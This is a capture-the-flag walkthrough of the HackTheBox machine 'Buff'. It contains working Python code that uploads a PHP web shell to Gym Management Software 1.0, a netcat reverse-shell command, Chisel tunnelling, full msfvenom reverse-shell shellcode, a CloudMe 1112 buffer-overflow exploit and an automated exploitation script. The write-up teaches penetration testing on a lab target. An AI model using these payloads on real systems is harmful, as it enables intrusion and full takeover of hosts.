Buff

Buff is an easy windows box by egotisticalSW.

Overview

The box starts with web-enumeration, where we find a installation of a software to suffers from an unauthenticated file-upload vulnerability. Exploiting the file-upload we get arbitrary code-execution and can read user.txt.

For root, we find a binary in the Downloads folder of the user. Researching the binary shows that it is vulnerable to a buffer-overflow attack. Using Chisel we forward the port to our machine and use an exploit for exploit-db to overflow the buffer and execute our shellcode, resulting into arbitrary code-execution as admin. Getting a shell as admin, we can read root.txt.

Information Gathering

Nmap

We begin our enumeration with a nmap scan for open ports.

root@darkness:~# nmap -sC -sV 10.10.10.198
Nmap scan report for 10.10.10.198
Host is up (0.048s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

Enumeration

The only open port shown is 8080 (http).

HTTP - Port 8080

Going to http://10.10.10.198:8080, we get following page shown:

Index webpage

Checking out all the menu tabs, Contact gives us interesting information:

Contact page

Seems like the software used is called Gym Management Software, running on version 1.0. A quick google-search for gym management software 1.0 exploit gives us a hit at exploit-db. Quickly looking over the vulnerability shows that this version of the software is vulnerable to an unauthenticated file-upload vulnerability.

Getting user - exploiting the file-upload vulnerability

In order to get user, we have to exploit the file-upload vulnerability. The exploit progress is explained in the exploit:

  1. Access /upload.php
  2. Set id parameter to desired file-name of to be uploaded file
  3. Bypass whitelist by adding double-extension (.php.png)
  4. Bypass file-type check by setting Content-Type to image/png.
  5. Inject PHP-code in POST-data
  6. Access shell

Manual exploitation

Let us manually exploit the vulnerability first and then create our own exploit-script.

The image upload results into following request:

Image upload request

We should now be able to access our web-shell via /upload/chronos.php.

Verified code-execution

We successfully execute code and can now read user.txt or get a reverse-shell using netcat.

Writing an exploit script

In order for our exploit-script to work we need three parts:

  1. Upload web-shell

    # Upload webshell
    def upload_shell():
        log.info("Uploading webshell...")
        image = {
                    'file': 
                      (
                        'chronos.php.png', 
                        '<?php echo shell_exec($_REQUEST["cmd"]); ?>', 
                        'image/png',
                        {'Content-Disposition': 'form-data'}
                      ) 
                  }
        data = {'pupload': 'upload'}
        r = requests.post(url=f"{host}/upload.php?id=chronos", timeout=15, files=image, data=data, verify=False)#, proxies={'http':'127.0.0.1:8080'})
        if r.status_code != 200:
            raise Exception("Uploading shell did not work!")
           
        if not verify_shell():
            raise Exception("Did not upload shell!")
           
        log.success("Uploaded webshell!")
    
  2. Verify upload

    # Verify that webshell was uploaded
    def verify_shell():
        r = requests.get(f"{host}/upload/chronos.php", timeout=15, verify=False)#, proxies={'http':'127.0.0.1:8080'})
        return r.status_code == 200
    
  3. Execute commands

# Execute command on shell
def exec(cmd, delay=0):
    try:
        sleep(delay)
        # Upload shell if not uploaded
        if not verify_shell():
            upload_shell()
        
        command = {'cmd': f'powershell -c "{cmd}"'}
        r = requests.get(f"{host}/upload/chronos.php", params=command, timeout=15, verify=False)#, proxies={'http':'127.0.0.1:8080'})
        if r.status_code != 200:
            raise Exception("Shell not uploaded!")
        return r.text.strip()
    except:
        pass

We can now get a reverse-shell by serving nc.exe via smb and executing following payload on the web-shell:

\\IP\share\nc.exe IP PORT -e powershell.exe

Getting shell and reading user.txt

Let us start our listener and execute the payload.

root@darkness:~# nc -lvnp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.198.
Ncat: Connection from 10.10.10.198:49729.
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\xampp\htdocs\gym\upload> whoami
buff\shaun
PS C:\xampp\htdocs\gym\upload> type C:\Users\Shaun\Desktop\user.txt
b66e8***************************

We get a connection back and can read user.txt.

Privesc

Now that we have successfully gained access to the system, let us enumerate to find a privesc-vector.

Enumeration as buff\shaun

Let us check out the home-directory of shaun.

PS C:\Users\Shaun\Downloads> dir


    Directory: C:\Users\Shaun\Downloads


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----       16/06/2020     16:26       17830824 CloudMe_1112.exe

Looking at the Downloads-folder of the user, we get an interesting binary: CloudMe_1112.exe. Let us do some research on this binary.

Researching CloudMe

Searching for CloudMe 1112 exploit, we get a result on exploit-db. Looking at the exploit, it seems to be a simple buffer-overflow at 1052 bytes.

Preparing CloudMe exploit - Port forward

In order to exploit CloudMe, we have to be able to access port 8888. If we remember our nmap-scan, we see that port 8888 is not open. This means we have to tunnel this port to us. For this we can use Chisel, which is an easy way to tunnel ports.

In order to use chisel, we have to do three things:

  1. Start chisel server on our machine

    root@darkness:~# chisel_linux server -p 8000 --reverse
    2020/11/20 00:17:54 server: Reverse tunnelling enabled
    2020/11/20 00:17:54 server: Fingerprint a6:d6:ce:81:1d:c6:73:46:16:f8:ac:84:af:bb:9b:b3
    2020/11/20 00:17:54 server: Listening on 0.0.0.0:8000...
    
  2. Upload chisel to windows-client

    For uploading chisel, I am going to use a smb-server running on docker. To quickly set one up, I am going to use my smbserv script.

    root@darkness:~# smbserv -f /opt/chisel/chisel_windows.exe 
       
    #####################
    # Simple SMB-Server #
    #    By Chr0x6eOs   #
    #####################
       
    Github: https://github.com/chr0x6eos/SMBServ
       
    About:
    A simple SMB-server running in docker.
    By default current directory will be served.
       
    [+] The file /opt/chisel/chisel_windows.exe will be served via SMB!
    [+] Smb-server (ID: eef3f88e917a) started!
    [+] DONE! :) Container (ID: eef3f88e917a) is now running and serving...
    Your files are available at:
      \\172.17.0.1\share\
      \\192.168.202.138\share\
      \\127.0.0.1\share\
      \\10.10.14.25\share\
    

    Now we can simply copy the file from the windows-machine.

    PS C:\Users\Shaun\Downloads> cp \\10.10.14.25\share\chisel_windows.exe . 
    PS C:\Users\Shaun\Downloads> dir
       
        Directory: C:\Users\Shaun\Downloads
       
       
    Mode                LastWriteTime         Length Name                                                                  
    ----                -------------         ------ ----                                                                  
    -a----       18/07/2020     23:10        8347648 chisel_windows.exe                                                    
    -a----       16/06/2020     16:26       17830824 CloudMe_1112.exe
    
  3. Make chisel client connect to our server and forward port

    In order to not loose our shell, we can run the server in the background using Start-Process.

    PS C:\Users\Shaun\Downloads> Start-Process -NoNewWindow .\chisel_windows.exe -ArgumentList ("client 10.10.14.25:8000 R:8888:127.0.0.1:8888")
    2020/11/19 23:26:48 client: Connecting to ws://10.10.14.25:8000
    2020/11/19 23:26:48 client: Fingerprint a6:d6:ce:81:1d:c6:73:46:16:f8:ac:84:af:bb:9b:b3
    2020/11/19 23:26:49 client: Connected (Latency 95.7986ms)
       
    PS C:\Users\Shaun\Downloads>
    

We get a connection to our chisel server:

2020/11/20 00:26:45 server: proxy#1:R:0.0.0.0:8888=>127.0.0.1:8888: Listening

Now we can run the exploit.

Manual exploitation

We can copy and modify the exploit script from exploit-db. However, after trying I decided to use this exploit instead. We simply need to replace the shellcode.

root@darkness:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.25 LPORT=443 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of c file: 1386 bytes
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x19\x68"
"\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57\x31\xf6"
"\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01\x8d\x44"
"\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56"
"\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff"
"\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6"
"\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";

We replace the payload and run the exploit.

root@darkness:~# python3 bof.py

Let us check back to our listener:

root@darkness:~# nc -lnvp 443
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.198.
Ncat: Connection from 10.10.10.198:49683.
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
buff\administrator

We successfully get a shell as administrator and can read root.txt.

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b88a1***************************

Bonus: Writing an auto-pwn exploit script

In order to automatically exploit the machine, we have to combine our previous exploit script with our new additions. This will be a breakdown of the exploit code. The full exploit code can be found on my GitHub.

Our requirements are the following:

  1. Setup chisel tunnel

    # Setup chisel tunnel to access port 8888
    def setup_tunnel():
        log.info("Setting up tunnel this may take a couple of minutes...")
           
        # Get user shell
        shell = get_user()
           
        # Start smb server
        smb = Process(target=setup_smb, args=["/opt/chisel/"])
        smb.daemon = True
        smb.start()
       
        # Start chisel server
        server = Process(target=chisel_server)
        server.daemon = True
        server.start()
       
           
        # TODO: Necessary?
        # Check if port 8888 is free to use
        if port_in_use(8888):
            raise Exception("Something is running on port 8888! Please close the application on that port, as it is needed to get a shell as root.")
       
           
        # Copy chisel to server
        log.info("Uploading chisel...")
        shell.sendline("mkdir C:\\temp")
        shell.sendline(f"copy \\\\{get_ip()}\\share\\chisel_windows.exe C:\\temp\\")
        shell.recvlines()
               
        # Wait until copying is done #TODO: Verify that chisel was copied successfully
        shell.recv(timeout=60)
       
        # Forward port 8888 to us
        log.info("Forwarding port back...")
        shell.sendline(f'Start-Process -NoNewWindow C:\\temp\\chisel_windows.exe -ArgumentList ("client {get_ip()}:8000 R:8888:127.0.0.1:8888")')
       
        # Wait to complete port-forward
        while not port_in_use(8888):
            sleep(.5)
           
        # Kill smb-server
        smb.terminate()
    

    Using the setup_tunnel function, we are going to copy and run the chisel server and client.

  2. Generate the shellcode

    # Generate shellcode for reverse-shell
    def gen_shellcode(port):
        log.info("Generating shellcode...")
        output = popen(f"msfvenom -p windows/shell_reverse_tcp LHOST={get_ip()} LPORT={port} -f c").read()
        # Parse output
        output = output.split("\n")
        # Remove empty values
        output.remove("")
        # Remove ';' from output
        output[len(output) - 1 ] = output[len(output) - 1 ][:-1]
        # Remove first junk
        output = output[1:]
        # Remove quotes and parse to one string
        output = "".join(x.replace('\"',"") for x in output)
        # Parse string to bytes
        return literal_eval("b'''%s'''" % output)
    

    Using the gen_shellcode function, we are going to generate and parse the shell-code for later usage.

  3. Overflow

    # Overflow buffer and get shell as admin
    def overflow(port):
        if not port_in_use(8888):
            raise Exception("Buffer-overflow was not executed, because port 8888 is not connected!")
           
        # Values for overflow
        buf = b"A"*1052
        eip = b"\x7B\x8A\xA9\x68"
       
        shellcode = gen_shellcode(port)
           
        # Overflow payload
        payload = buf + eip + shellcode
           
        # Connect to server
        log.info("Sending buffer-overflow payload to server...")
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("127.0.0.1",8888))
        # Overflow buffer
        s.send(payload)
    

    Using the overflow function, we are calling the gen_shellcode function and sending the buffer-overflow payload to the server.

  4. Profit

    Running the exploit, we successfully get a shell as root.

    root@darkness:~# python3 buff.py 
       
      ____         __  __   _____                                      
     |  _ \       / _|/ _| |  __ \                                     
     | |_) |_   _| |_| |_  | |__) |_      ___ __                       
     |  _ <| | | |  _|  _| |  ___/\ \ /\ / / '_ \                      
     | |_) | |_| | | | |   | |     \ V  V /| | | |                     
     |____/ \__,_|_| |_|   |_|      \_/\_/ |_| |_|                     
      ____           _____ _           ___         __        ____      
     |  _ \         / ____| |         / _ \       / /       / __ \     
     | |_) |_   _  | |    | |__  _ __| | | |_  __/ /_   ___| |  | |___ 
     |  _ <| | | | | |    | '_ \| '__| | | \ \/ / '_ \ / _ \ |  | / __|
     | |_) | |_| | | |____| | | | |  | |_| |>  <| (_) |  __/ |__| \__ \
     |____/ \__, |  \_____|_| |_|_|   \___//_/\_\\___/ \___|\____/|___/
             __/ |                                                     
            |___/                                                      
       
     Twitter:    https://twitter.com/Chr0x6eOs
     Github:     https://github.com/Chr0x6eOs
     HackTheBox: https://www.hackthebox.eu/home/users/profile/134448
        
     _________________________________________________________________________
        
       
        [1] - Webshell
        [2] - Reverse-Shell as user (Buff\Shaun)
        [3] - Reverse-shell as admin (Buff\Administrator)
        [4] - Print flags
        [5] - Exit
       
           
    > 3
    

    First, we have to selection our action (in this case a reverse-shell as admin.)

    [*] Getting reverse-shell as admin... This may take up to a minute!
    [*] Setting up tunnel this may take a couple of minutes...
    [*] Getting user-shell...
    [*] Executing reverse-shell payload...
    [+] Trying to bind to 10.10.14.25 on port 9273: Done
    [+] Waiting for connections on 10.10.14.25:9273: Got connection from 10.10.10.198 on port 49675
    [*] Starting SMB-Server...
    [*] Uploading chisel...
    [*] Starting chisel server...
    2020/11/20 01:13:54 server: Reverse tunnelling enabled
    2020/11/20 01:13:54 server: Fingerprint b4:1b:fa:45:75:f3:e7:78:cc:18:b3:bc:af:50:f9:bf
    2020/11/20 01:13:54 server: Listening on 0.0.0.0:8000...
    [*] Forwarding port back...
    [*] Generating shellcode...
    [+] Trying to bind to 10.10.14.25 on port 9060: Done
    [+] Waiting for connections on 10.10.14.25:9060: Got connection from 10.10.10.198 on port 49681
    [*] Switching to interactive mode
    (c) 2018 Microsoft Corporation. All rights reserved.
       
    C:\Windows\system32>$ whoami
    buff\administrator
    

    We successfully get a shell as admin.

We can also use the script to easily print the flags for us:

root@darkness:~# python3 buff.py 

  ____         __  __   _____                                      
 |  _ \       / _|/ _| |  __ \                                     
 | |_) |_   _| |_| |_  | |__) |_      ___ __                       
 |  _ <| | | |  _|  _| |  ___/\ \ /\ / / '_ \                      
 | |_) | |_| | | | |   | |     \ V  V /| | | |                     
 |____/ \__,_|_| |_|   |_|      \_/\_/ |_| |_|                     
  ____           _____ _           ___         __        ____      
 |  _ \         / ____| |         / _ \       / /       / __ \     
 | |_) |_   _  | |    | |__  _ __| | | |_  __/ /_   ___| |  | |___ 
 |  _ <| | | | | |    | '_ \| '__| | | \ \/ / '_ \ / _ \ |  | / __|
 | |_) | |_| | | |____| | | | |  | |_| |>  <| (_) |  __/ |__| \__ \
 |____/ \__, |  \_____|_| |_|_|   \___//_/\_\\___/ \___|\____/|___/
         __/ |                                                     
        |___/                                                      

 Twitter:    https://twitter.com/Chr0x6eOs
 Github:     https://github.com/Chr0x6eOs
 HackTheBox: https://www.hackthebox.eu/home/users/profile/134448
 
 _________________________________________________________________________
 

    [1] - Webshell
    [2] - Reverse-Shell as user (Buff\Shaun)
    [3] - Reverse-shell as admin (Buff\Administrator)
    [4] - Print flags
    [5] - Exit

    
> 4
[*] Getting flags... This may take up to a minute...
 
  ____         __  __   _____
 |  _ \       / _|/ _| |  __ \
 | |_) |_   _| |_| |_  | |__) |_      ___ __
 |  _ <| | | |  _|  _| |  ___/\ \ /\ / / '_ \
 | |_) | |_| | | | |   | |     \ V  V /| | | |
 |____/ \__,_|_| |_|   |_|      \_/\_/ |_| |_|
  ____           _____ _           ___         __        ____
 |  _ \         / ____| |         / _ \       / /       / __ \
 | |_) |_   _  | |    | |__  _ __| | | |_  __/ /_   ___| |  | |___
 |  _ <| | | | | |    | '_ \| '__| | | \ \/ / '_ \ / _ \ |  | / __|
 | |_) | |_| | | |____| | | | |  | |_| |>  <| (_) |  __/ |__| \__ \
 |____/ \__, |  \_____|_| |_|_|   \___//_/\_\\___/ \___|\____/|___/
         __/ |
        |___/

 Twitter:    https://twitter.com/Chr0x6eOs
 Github:     https://github.com/Chr0x6eOs
 HackTheBox: https://www.hackthebox.eu/home/users/profile/134448

 _________________________________________________________________________


                User_flag: b66e8***************************

                Root_flag: b88a1***************************
 _________________________________________________________________________

    [1] - Webshell
    [2] - Reverse-Shell as user (Buff\Shaun)
    [3] - Reverse-shell as admin (Buff\Administrator)
    [4] - Print flags
    [5] - Exit

>